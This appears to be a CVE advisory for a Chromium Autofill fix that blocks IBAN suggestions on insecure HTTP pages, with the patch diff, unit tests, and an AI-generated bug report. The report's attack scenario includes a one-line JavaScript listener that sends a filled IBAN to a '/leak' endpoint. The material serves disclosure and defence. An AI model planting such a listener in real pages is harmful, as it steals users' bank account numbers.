CVE-2026-17820
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
TEST_Fcomponents/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc |
modified |
Files Changed
components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cccomponents/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
Patch
From 1fc5b455eccf7f0abd53f8f5c605095476ee5ddc Mon Sep 17 00:00:00 2001
From: Dominic Battre <battre@chromium.org>
Date: Mon, 22 Jun 2026 12:45:43 -0700
Subject: [PATCH] [Autofill] Don't offer IBAN suggestions on non-secure pages
IbanSuggestionGenerator now replaces its suggestions with a
kInsecureContextPaymentDisabledMessage warning when the page or form is
non-secure, matching the existing behaviour of
CreditCardSuggestionGenerator.
While IBANs are not extremely sensitive, they should not occur in a
non-encrypted context.
Fixed: 517493101
Change-Id: Ia8ce2b53181c0b6d84817c4f3e10a12e6a6a6964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7978857
Auto-Submit: Dominic Battré <battre@chromium.org>
Reviewed-by: Jihad Hanna <jihadghanna@google.com>
Commit-Queue: Jihad Hanna <jihadghanna@google.com>
Cr-Commit-Position: refs/heads/main@{#1650508}
---
diff --git a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc
index b3c50654..91129f8 100644
--- a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc
+++ b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc
@@ -15,6 +15,7 @@
#include "base/functional/function_ref.h"
#include "base/strings/string_util.h"
#include "build/buildflag.h"
+#include "components/autofill/core/browser/autofill_browser_util.h"
#include "components/autofill/core/browser/autofill_field.h"
#include "components/autofill/core/browser/data_manager/payments/payments_data_manager.h"
#include "components/autofill/core/browser/data_model/payments/iban.h"
@@ -27,6 +28,8 @@
#include "components/autofill/core/browser/suggestions/suggestion_type.h"
#include "components/autofill/core/common/form_data.h"
#include "components/grit/components_scaled_resources.h"
+#include "components/strings/grit/components_strings.h"
+#include "ui/base/l10n/l10n_util.h"
#include "ui/base/resource/resource_bundle.h"
namespace autofill {
@@ -202,7 +205,20 @@
}
FilterIbansToSuggest(trigger_autofill_field->value(), ibans);
- callback({SuggestionDataSource::kIban, GetSuggestionsForIbans(ibans)});
+ std::vector<Suggestion> suggestions = GetSuggestionsForIbans(ibans);
+
+ // Don't provide IBAN suggestions for non-secure pages, but do provide them
+ // for secure pages with passive mixed content (see implementation of
+ // IsContextSecure).
+ if (!suggestions.empty() && !client.IsContextSecure()) {
+ // Replace the suggestion content with a warning message explaining why
+ // Autofill is disabled for a website.
+ suggestions = {Suggestion(
+ l10n_util::GetStringUTF16(IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
+ SuggestionType::kInsecureContextPaymentDisabledMessage)};
+ }
+
+ callback({SuggestionDataSource::kIban, std::move(suggestions)});
}
} // namespace autofill
diff --git a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
index bc3a482..b52b96a 100644
--- a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
+++ b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
@@ -23,6 +23,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "ui/base/l10n/l10n_util.h"
#include "ui/gfx/image/image_unittest_util.h"
+#include "url/gurl.h"
namespace autofill {
namespace {
@@ -358,5 +359,34 @@
EXPECT_TRUE(GetSuggestionsForIbans().empty());
}
+// Verify that for a non-secure context, IBAN suggestions are replaced with a
+// warning message.
+TEST_F(IbanSuggestionGeneratorTest, ShowsWarningForNonSecureContext) {
+ SetUpLocalIban(u"DE91 1000 0000 0123 4567 89", kNickname_0);
+ client().set_last_committed_primary_main_frame_url(
+ GURL("http://example.test"));
+
+ std::vector<Suggestion> iban_suggestions = GetSuggestionsForIbans();
+
+ EXPECT_THAT(
+ iban_suggestions,
+ testing::ElementsAre(AllOf(
+ Field(&Suggestion::type,
+ SuggestionType::kInsecureContextPaymentDisabledMessage),
+ Field(&Suggestion::main_text,
+ Suggestion::Text(l10n_util::GetStringUTF16(
+ IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
+ Suggestion::Text::IsPrimary(true))))));
+}
+
+// Verify that no warning is shown for a non-secure context when there are no
+// IBANs to suggest.
+TEST_F(IbanSuggestionGeneratorTest, NoWarningForNonSecureContextWithoutIbans) {
+ client().set_last_committed_primary_main_frame_url(
+ GURL("http://example.test"));
+
+ EXPECT_THAT(GetSuggestionsForIbans(), testing::IsEmpty());
+}
+
} // namespace
} // namespace autofill
Regression Test / PoC
diff --git a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
index bc3a482..b52b96a 100644
--- a/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
+++ b/components/autofill/core/browser/suggestions/payments/iban_suggestion_generator_unittest.cc
@@ -23,6 +23,7 @@
#include "testing/gtest/include/gtest/gtest.h"
#include "ui/base/l10n/l10n_util.h"
#include "ui/gfx/image/image_unittest_util.h"
+#include "url/gurl.h"
namespace autofill {
namespace {
@@ -358,5 +359,34 @@
EXPECT_TRUE(GetSuggestionsForIbans().empty());
}
+// Verify that for a non-secure context, IBAN suggestions are replaced with a
+// warning message.
+TEST_F(IbanSuggestionGeneratorTest, ShowsWarningForNonSecureContext) {
+ SetUpLocalIban(u"DE91 1000 0000 0123 4567 89", kNickname_0);
+ client().set_last_committed_primary_main_frame_url(
+ GURL("http://example.test"));
+
+ std::vector<Suggestion> iban_suggestions = GetSuggestionsForIbans();
+
+ EXPECT_THAT(
+ iban_suggestions,
+ testing::ElementsAre(AllOf(
+ Field(&Suggestion::type,
+ SuggestionType::kInsecureContextPaymentDisabledMessage),
+ Field(&Suggestion::main_text,
+ Suggestion::Text(l10n_util::GetStringUTF16(
+ IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
+ Suggestion::Text::IsPrimary(true))))));
+}
+
+// Verify that no warning is shown for a non-secure context when there are no
+// IBANs to suggest.
+TEST_F(IbanSuggestionGeneratorTest, NoWarningForNonSecureContextWithoutIbans) {
+ client().set_last_committed_primary_main_frame_url(
+ GURL("http://example.test"));
+
+ EXPECT_THAT(GetSuggestionsForIbans(), testing::IsEmpty());
+}
+
} // namespace
} // namespace autofill
Original Bug Report
Potential missing insecure context check in IbanSuggestionGenerator allows IBAN filling over HTTP
Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: The IbanSuggestionGenerator potentially lacks secure context checks, allowing sensitive unmasked IBANs to be suggested and autofilled on insecure HTTP contexts. This deviates from the behavior of CreditCardSuggestionGenerator, which displays a warning and blocks filling under insecure conditions. An attacker hosting or intercepting a plain HTTP page could potentially capture the user’s unmasked IBAN.
Affected files:
components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cccomponents/autofill/core/browser/payments/iban_access_manager.cccomponents/autofill/core/browser/foundations/browser_autofill_manager.cc
Estimated timestamp from git blame: 2022-09-09
Description
There is a potential security policy bypass in Chrome’s Autofill system where sensitive International Bank Account Numbers (IBANs) can be suggested and autofilled on insecure contexts (such as plain HTTP pages). Unlike credit card suggestions, which are suppressed or replaced with a warning on insecure contexts, the IBAN suggestion generator lacks verification for non-secure contexts. This could potentially allow passive network adversaries or malicious/compromised HTTP sites to exfiltrate unmasked IBANs.
Root Cause Analysis
In components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc, the IbanSuggestionGenerator::GenerateSuggestions method generates suggestions for IBAN fields. However, unlike CreditCardSuggestionGenerator::GenerateSuggestions (located in components/autofill/core/browser/suggestions/payments/credit_card_suggestion_generator.cc), which verifies the context using:
if (!suggestions.empty() &&
IsFormOrClientNonSecure(client, *form_structure)) {
suggestions = {Suggestion(
l10n_util::GetStringUTF16(IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
SuggestionType::kInsecureContextPaymentDisabledMessage)};
}
IbanSuggestionGenerator::GenerateSuggestions contains no equivalent check. It retrieves and returns the suggestions unconditionally. Furthermore, IbanAccessManager::FetchValue in components/autofill/core/browser/payments/iban_access_manager.cc retrieves the unmasked value of the IBAN and populates it directly into the DOM without validating whether the current frame is secure.
Potential Attack Scenario
Note: The following are suggested, potential steps to demonstrate the issue. Our analysis is based on static code tracing, and our tooling does not currently have the capability to run code or execute a live proof of concept.
- A user with a saved local or server IBAN in Chrome navigates to an attacker-controlled or compromised plain HTTP page (e.g.,
http://example.com). - The page contains an input field targeted for IBANs:
<input autocomplete="iban" id="iban_field">and a script to monitor inputs:document.getElementById('iban_field').oninput = e => fetch('/leak?iban=' + e.target.value);. - The user focuses on the IBAN input field, prompting Chrome to display their stored IBAN suggestions without any “Payment not secure” warning.
- The user selects an IBAN suggestion, causing Chrome to retrieve the unmasked IBAN value and fill it directly into the input field.
- The malicious script captures the filled value via the input listener and exfiltrates it over the insecure HTTP channel.
Suggested Fix
In IbanSuggestionGenerator::GenerateSuggestions (inside components/autofill/core/browser/suggestions/payments/iban_suggestion_generator.cc), implement a context check similar to credit cards:
if (!suggestions.empty() &&
IsFormOrClientNonSecure(client, *form_structure)) {
suggestions = {Suggestion(
l10n_util::GetStringUTF16(IDS_AUTOFILL_WARNING_INSECURE_CONNECTION),
SuggestionType::kInsecureContextPaymentDisabledMessage)};
}
This ensures that sensitive IBAN suggestions are not exposed or filled on insecure HTTP pages, aligning IBAN security constraints with credit card autofill policy.
Evaluated with Chrome root at commit: b1520ef4a76878853a31f0943b565e42060edec8
Results so far have been promising, but there can be wrong deductions. Feel free to adjust as follows:
- If you are familiar with the severity guidelines, you may adjust the severity.
- If this is a false positive, and there’s no work to be done, please close as WAI.
- If there is work to do here but not a vulnerability, please change the issue type to Task/Bug/FR.
Data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.